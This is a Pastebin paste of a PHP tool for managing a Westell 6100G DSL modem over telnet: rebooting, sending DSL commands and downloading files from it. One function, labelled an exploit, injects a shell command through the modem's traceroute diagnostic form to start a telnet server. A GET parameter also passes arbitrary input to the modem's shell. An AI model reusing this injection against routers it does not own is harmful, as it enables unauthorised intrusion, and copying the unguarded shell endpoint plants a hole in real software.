Advertisement
zefie

Westell 6100G PHP Tool

Oct 16th, 2012
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.19 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. $mdmip = '192.168.1.1';
  4.  
  5. foreach ($_GET as $k => $v) {
  6.     if ($k == 'reboot') {
  7.         header('Content-type: text/plain');
  8.         echo executeMdmShellCmd('reboot');
  9.     }
  10.     if ($k == 'shellcmd') {
  11.         header('Content-type: text/plain');
  12.         echo executeMdmShellCmd($v);
  13.     }
  14. /*
  15.     if ($k == 'alltx') {
  16.         header('Content-type: text/plain');
  17.         all_tx_script();
  18.     }
  19. */
  20.     if ($k == 'dslcmd') {
  21.         header('Content-type: text/plain');
  22.         echo mdmDSLCPECmd($v);
  23.     }
  24.     if ($k == 'resync') {
  25.         header('Content-type: text/plain');
  26.         echo mdmDSLCPECmd('g997pmsft 3');
  27.         sleep(10);
  28.         echo mdmDSLCPECmd('g997pmsft 0');
  29.     }
  30.     if ($k == 'download') {
  31.         $f = split("/",$v);
  32.         $fn = $f[(count($f)-1)];
  33.         if (strpos($fn,'.') == '') {
  34.             $fn .= ".bin";
  35.         }
  36.         $data = getBinaryFileFromTelnet($v);
  37.         if (strlen($data) > 0) {
  38.             header('Content-Disposition: attachment; filename="'.$fn.'"');
  39.             header('Content-length: '.strlen($data));
  40.             echo $data;
  41.         }
  42.     }
  43. }
  44.  
  45. function getBinaryFileFromTelnet($f) {
  46.     $prelim = executeMdmShellCmd('cmp -l /dev/zero "'.$f.'" 2>/dev/null');
  47.     $prelim = split("\n",$prelim);
  48.     $odat = '';
  49.     $len = split(" ",$prelim[(count($prelim)-1)]);
  50.     $len = $len[0];
  51.     for ($i=0;$i<$len;$i++) {
  52.         $bindat[$i] = chr(0);
  53.     }
  54.     foreach ($prelim as $line) {
  55.         $l = split(" ",$line);
  56.         $oct = $l[(count($l)-1)];
  57.         $bindat[($l[0]-1)] = chr(octdec($oct));
  58.     }
  59.     unset($prelim);
  60.     foreach ($bindat as $byte) {
  61.         $odat .= $byte;
  62.     }
  63.     unset($bindat);
  64.     return $odat;
  65. }
  66.  
  67. function mdmDSLCPECmd($c) {
  68.     return executeMdmShellCmd('/etc/InfineonScripts/dsl_cpe_pipe.sh 0 '.$c);
  69. /*
  70.     executeMdmShellCmd('echo "'.$c.'" > /tmp/pipe/dsl_cpe0_cmd');
  71.     sleep(1);
  72.     return executeMdmShellCmd('cat /tmp/pipe/dsl_cpe0_ack');
  73. */
  74. }
  75.  
  76.  
  77. function all_tx_script() {
  78.     // this script is on the modem, but doesn't work due to missing 'cut' cmd
  79.     // /etc/InfineonScripts/all_tx.sh
  80.  
  81.     // dunno what it does, only seems to desync my adsl1 line
  82.  
  83.     mdmDSLCPECmd('alf . .');
  84.     mdmDSLCPECmd('alf . ');
  85.     mdmDSLCPECmd('acs 0');
  86.     mdmDSLCPECmd('cw cntl 0 0 8');
  87.     all_tx_wa_loop(2,0);
  88.     mdmDSLCPECmd('cw test 7 0 4');
  89.     mdmDSLCPECmd('cw test 7 0 1');
  90.     all_tx_wa_loop(6,15);
  91.     all_tx_wa_loop(7,'D03');
  92.     mdmDSLCPECmd('cw test 7 0 4');
  93.     mdmDSLCPECmd('cw test 7 0 6');
  94.     mdmDSLCPECmd('cw test 7 0 2');
  95.     all_tx_wa_loop(5,'1A0D');
  96.     mdmDSLCPECmd('cw test 6 0 0');
  97.     mdmDSLCPECmd('cw test 6 0 1');
  98.     sleep(15);
  99. }
  100.  
  101. function all_tx_wa_loop($a,$b) {
  102.         mdmDSLCPECmd('dms 00A1 0000 0003 C0E8 $a');
  103.         mdmDSLCPECmd('dms 00A1 0000 0003 1F48 0020');
  104.         mdmDSLCPECmd('dms 00A1 0000 0003 C0F0 $b');
  105.  
  106.         $result = '';
  107.     while ($result != '0x0030') {
  108.         $res = mdmDSLCPECmd('dms 0021 0000 0003 1F48 0000');
  109.         $res = getBetween($res,'nData="','"');
  110.         $result = trim($res);
  111.         }
  112. }
  113.  
  114. function executeMdmShellCmd($cmd) {
  115.     global $mdmip;
  116.     $i = 0;
  117.     $telnet = new Telnet($mdmip);
  118.     tstart:
  119.     $i++;
  120.     // Define prompt as something unique that will not exist in any file
  121.     $myprompt = chr(174).'zshell'.chr(175).' ';
  122.  
  123.     $result = $telnet->connect();
  124.     if ($result != false) {
  125.         // Wait for default prompt
  126.         $telnet->setPrompt('#');
  127.         $telnet->waitPrompt();
  128.         // Prepare for new prompt
  129.         $telnet->setPrompt($myprompt);
  130.         // Set new prompt
  131.         echo $telnet->exec("PS1='".$myprompt."'");
  132.         $telnet->waitPrompt();
  133.         // Now we can execute a command
  134.         $res = $telnet->exec($cmd);
  135.         $telnet->disconnect();
  136.         $res = preg_replace("/\r/",'',$res);
  137.         // Remove the echoed back command
  138.         $resn = split("\n",$res);
  139.         unset($resn[0]);
  140.         $res = implode("\n",$resn);
  141.         return $res;
  142.     } else {
  143.         // If telnet server is not running, enable it via exploit.
  144.         // then try to execute our command again, up to 3 times.
  145.         if ($i < 3) {
  146.             enableMdmTelnet();
  147.             sleep(2);
  148.             goto tstart;
  149.         } else {
  150.             // Failure to start telnet server, or connect to it, or whatever
  151.         }
  152.     }
  153. }
  154.  
  155. function enableMdmTelnet() {
  156.     // Using an exploit, activate the telnet server
  157.     $cmd = "/sbin/telnetd";
  158.     $passwd = $_SERVER['PHP_AUTH_PW'];
  159.  
  160.     $c['next_page'] = "/htmlV/adv_diagnostics.asp";
  161.     $c['Self_Test'] = "";
  162.     $c['Ping_ISP_Router'] = "";
  163.     $c['diag_dns'] = "";
  164.     $c['diag_ping'] = "";
  165.     $c['diag_traceroute'] = "0| ".$cmd;
  166.     $c['diag_traceroute_maxhops'] = 1;
  167.     $cf = "";
  168.     foreach ($c as $k => $v) {
  169.         $cf .= $k."=".urlencode($v)."&";
  170.     }
  171.     $cf = rtrim($cf,"&");
  172.  
  173.     // Send the command
  174.     $u = "admin:".$passwd."@192.168.1.1/goform/EventForm";
  175.     $ch = curl_init();
  176.     $timeout = 10;
  177.     curl_setopt($ch, CURLOPT_URL, $u);
  178.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  179.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  180.     curl_setopt($ch,CURLOPT_POST, 1);
  181.     curl_setopt($ch,CURLOPT_POSTFIELDS, $cf);
  182.     $data = curl_exec($ch);
  183.     curl_close($ch);
  184.  
  185. /*
  186.     // This section was for getting cmd results prior to the smarter telnet method
  187.     // Retained for informal purposes
  188.  
  189.     // Give the modem a bit to process the command
  190.     sleep(2);
  191.  
  192.     // Request the form which is magically populated with the results
  193.     $u = "admin:".$passwd."@192.168.1.1".$c['next_page'];
  194.     $ch = curl_init();
  195.     $timeout = 5;
  196.     curl_setopt($ch, CURLOPT_URL, $u);
  197.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  198.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  199.     $data = curl_exec($ch);
  200.     curl_close($ch);
  201.  
  202.     // Filter out HTML
  203.     $res = getBetween($data,"--- Trace Route Test Results ---\n","</TEXTAREA>");
  204.     // Return raw shell command result
  205.     return $res;
  206. */
  207. }
  208.  
  209. function getBetween($src,$start,$end) {
  210. $c1 = (strpos($src,$start) + strlen($start));
  211. $c2 = strpos($src,$end,$c1);
  212. return substr($src,$c1,($c2 - $c1));
  213. }
  214.  
  215. /**
  216.  * Telnet class
  217.  *
  218.  * Used to execute remote commands via telnet connection
  219.  * Usess sockets functions and fgetc() to process result
  220.  *
  221.  * All methods throw Exceptions on error
  222.  *
  223.  * Written by Dalibor Andzakovic <dali@swerve.co.nz>
  224.  * Based on the code originally written by Marc Ennaji and extended by
  225.  * Matthias Blaser <mb@adfinis.ch>
  226.  */
  227. class Telnet {
  228.     private $host;
  229.     private $port;
  230.     private $timeout;
  231.     private $socket= NULL;
  232.     private $buffer = NULL;
  233.     private $prompt;
  234.     private $errno;
  235.     private $errstr;
  236.     private $NULL;
  237.     private $DC1;
  238.     private $WILL;
  239.     private $WONT;
  240.     private $DO;
  241.     private $DONT;
  242.     private $IAC;
  243.     const TELNET_ERROR = FALSE;
  244.     const TELNET_OK = TRUE;
  245.  
  246.     /**
  247.      * Constructor. Initialises host, port and timeout parameters
  248.      * defaults to localhost port 23 (standard telnet port)
  249.      *
  250.      * @param string $host Host name or IP addres
  251.      * @param int $port TCP port number
  252.      * @param int $timeout Connection timeout in seconds
  253.      * @return void
  254.     */
  255.     public function __construct($host, $port = '23', $timeout = 10){
  256.         $this->host = $host;
  257.         $this->port = $port;
  258.         $this->timeout = $timeout;
  259.  
  260.         // set some telnet special characters
  261.         $this->NULL = chr(0);
  262.         $this->DC1 = chr(17);
  263.         $this->WILL = chr(251);
  264.         $this->WONT = chr(252);
  265.         $this->DO = chr(253);
  266.         $this->DONT = chr(254);
  267.         $this->IAC = chr(255);
  268.         $this->connect();
  269.     }
  270.  
  271.     /**
  272.      * Destructor. Cleans up socket connection and command buffer
  273.      *
  274.      * @return void
  275.      */
  276.     public function __destruct() {
  277.         // cleanup resources
  278.         $this->disconnect();
  279.         $this->buffer = NULL;
  280.     }
  281.  
  282.     /**
  283.      * Attempts connection to remote host. Returns TRUE if sucessful.
  284.      *
  285.      * @return boolean
  286.      */
  287.     public function connect(){
  288.         // check if we need to convert host to IP
  289.         if (!preg_match('/([0-9]{1,3}\\.){3,3}[0-9]{1,3}/', $this->host)) {
  290.             $ip = gethostbyname($this->host);
  291.             if($this->host == $ip){
  292.                 throw new Exception("Cannot resolve $this->host");
  293.             } else{
  294.                 $this->host = $ip;
  295.             }
  296.         }
  297.         // attempt connection
  298.         $this->socket = @fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout);
  299.         if (!$this->socket){
  300.             return false;
  301.         }
  302.         return self::TELNET_OK;
  303.     }
  304.  
  305.     /**
  306.      * Closes IP socket
  307.      *
  308.      * @return boolean
  309.      */
  310.     public function disconnect(){
  311.         if ($this->socket){
  312.             if (! fclose($this->socket)){
  313.                 throw new Exception("Error while closing telnet socket");
  314.             }
  315.             $this->socket = NULL;
  316.         }
  317.         return self::TELNET_OK;
  318.     }
  319.  
  320.     /**
  321.      * Executes command and returns a string with result.
  322.      * This method is a wrapper for lower level private methods
  323.      *
  324.      * @param string $command Command to execute
  325.      * @return string Command result
  326.      */
  327.     public function exec($command, $addNewLine=true) {
  328.         $this->write($command, $addNewLine);
  329.         $this->waitPrompt(1);
  330.         return $this->getBuffer();
  331.     }
  332.  
  333.     /**
  334.      * Attempts login to remote host.
  335.      * This method is a wrapper for lower level private methods and should be
  336.      * modified to reflect telnet implementation details like login/password
  337.      * and line prompts. Defaults to standard unix non-root prompts
  338.      *
  339.      * @param string $username Username
  340.      * @param string $password Password
  341.      * @return boolean
  342.      */
  343.     public function login($username, $password) {
  344.         try{
  345.             $this->setPrompt('ogin:');
  346.             $this->waitPrompt();
  347.             $this->write($username);
  348.             $this->setPrompt('assword:');
  349.             $this->waitPrompt();
  350.             $this->write($password);
  351.             //$this->setPrompt();
  352.             //$this->waitPrompt();
  353.         } catch(Exception $e){
  354.             throw new Exception("Login failed.");
  355.         }
  356.         return self::TELNET_OK;
  357.     }
  358.  
  359.     /**
  360.      * Sets the string of characters to respond to.
  361.      * This should be set to the last character of the command line prompt
  362.      *
  363.      * @param string $s String to respond to
  364.      * @return boolean
  365.      */
  366.     public function setPrompt($s = '$'){
  367.         $this->prompt = $s;
  368.         return self::TELNET_OK;
  369.     }
  370.  
  371.     /**
  372.      * Gets character from the socket
  373.      *
  374.      * @return void
  375.      */
  376.     private function getc() {
  377.         return fgetc($this->socket);
  378.     }
  379.  
  380.     /**
  381.      * Clears internal command buffer
  382.      *
  383.      * @return void
  384.      */
  385.     private function clearBuffer() {
  386.         $this->buffer = '';
  387.     }
  388.  
  389.     /**
  390.      * Reads characters from the socket and adds them to command buffer.
  391.      * Handles telnet control characters. Stops when prompt is ecountered.
  392.      *
  393.      * @param string $prompt
  394.      * @return boolean
  395.      */
  396.     private function readTo($prompt){
  397.         if (!$this->socket){
  398.             throw new Exception("Telnet connection closed");
  399.         }
  400.         // clear the buffer
  401.         $this->clearBuffer();
  402.         do{
  403.             $c = $this->getc();
  404.             if ($c === false){
  405.                 throw new Exception("Couldn't find the requested : '" . $prompt . "', it was not in the data returned from server : '" . $buf . "'");
  406.             }
  407.             if ($c == $this->IAC) {
  408.                 if ($this->negotiateTelnetOptions()){
  409.                     continue;
  410.                 }
  411.             }
  412.             // append current char to global buffer
  413.             $this->buffer .= $c;
  414.             // we've encountered the prompt. Break out of the loop
  415.             if ((substr($this->buffer, strlen($this->buffer) - strlen($prompt))) == $prompt){
  416.                 return self::TELNET_OK;
  417.             }
  418.         } while($c != $this->NULL || $c != $this->DC1);
  419.     }
  420.  
  421.     /**
  422.      * Write command to a socket
  423.      *
  424.      * @param string $buffer Stuff to write to socket
  425.      * @param boolean $addNewLine Default true, adds newline to the command
  426.      * @return boolean
  427.      */
  428.     public function write($buffer, $addNewLine=true){
  429.         if (!$this->socket){
  430.             throw new Exception("Telnet connection closed");
  431.         }
  432.         // clear buffer from last command
  433.         $this->clearBuffer();
  434.         if ($addNewLine == true){
  435.             $buffer .= "\n";
  436.         }
  437.         if (!fwrite($this->socket, $buffer) < 0){
  438.             throw new Exception("Error writing to socket");
  439.         }
  440.         return self::TELNET_OK;
  441.     }
  442.  
  443.     /**
  444.      * Returns the content of the command buffer
  445.      *
  446.      * @return string Content of the command buffer
  447.      */
  448.     private function getBuffer(){
  449.         // cut last line (is always prompt)
  450.         $buf = explode("\n", $this->buffer);
  451.         unset($buf[count($buf)-1]);
  452.         $buf = implode("\n",$buf);
  453.         return trim($buf);
  454.     }
  455.  
  456.     /**
  457.      * Telnet control character magic
  458.      *
  459.      * @param string $command Character to check
  460.      * @return boolean
  461.      */
  462.     private function negotiateTelnetOptions(){
  463.         $c = $this->getc();
  464.         if ($c != $this->IAC){
  465.             if (($c == $this->DO) || ($c == $this->DONT)){
  466.                 $opt = $this->getc();
  467.                 fwrite($this->socket, $this->IAC . $this->WONT . $opt);
  468.             } else if (($c == $this->WILL) || ($c == $this->WONT)) {
  469.                 $opt = $this->getc();
  470.                 fwrite($this->socket, $this->IAC . $this->DONT . $opt);
  471.             } else {
  472.                 throw new Exception('Error: unknown control character ' . ord($c ));
  473.             }
  474.         } else{
  475.             throw new Exception('Error: Something Wicked Happened');
  476.         }
  477.         return self::TELNET_OK;
  478.     }
  479.  
  480.     /**
  481.      * Reads socket until prompt is encountered
  482.      */
  483.     public function waitPrompt(){
  484.         $prompt = $this->prompt;
  485.         return $this->readTo($prompt);
  486.     }
  487. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement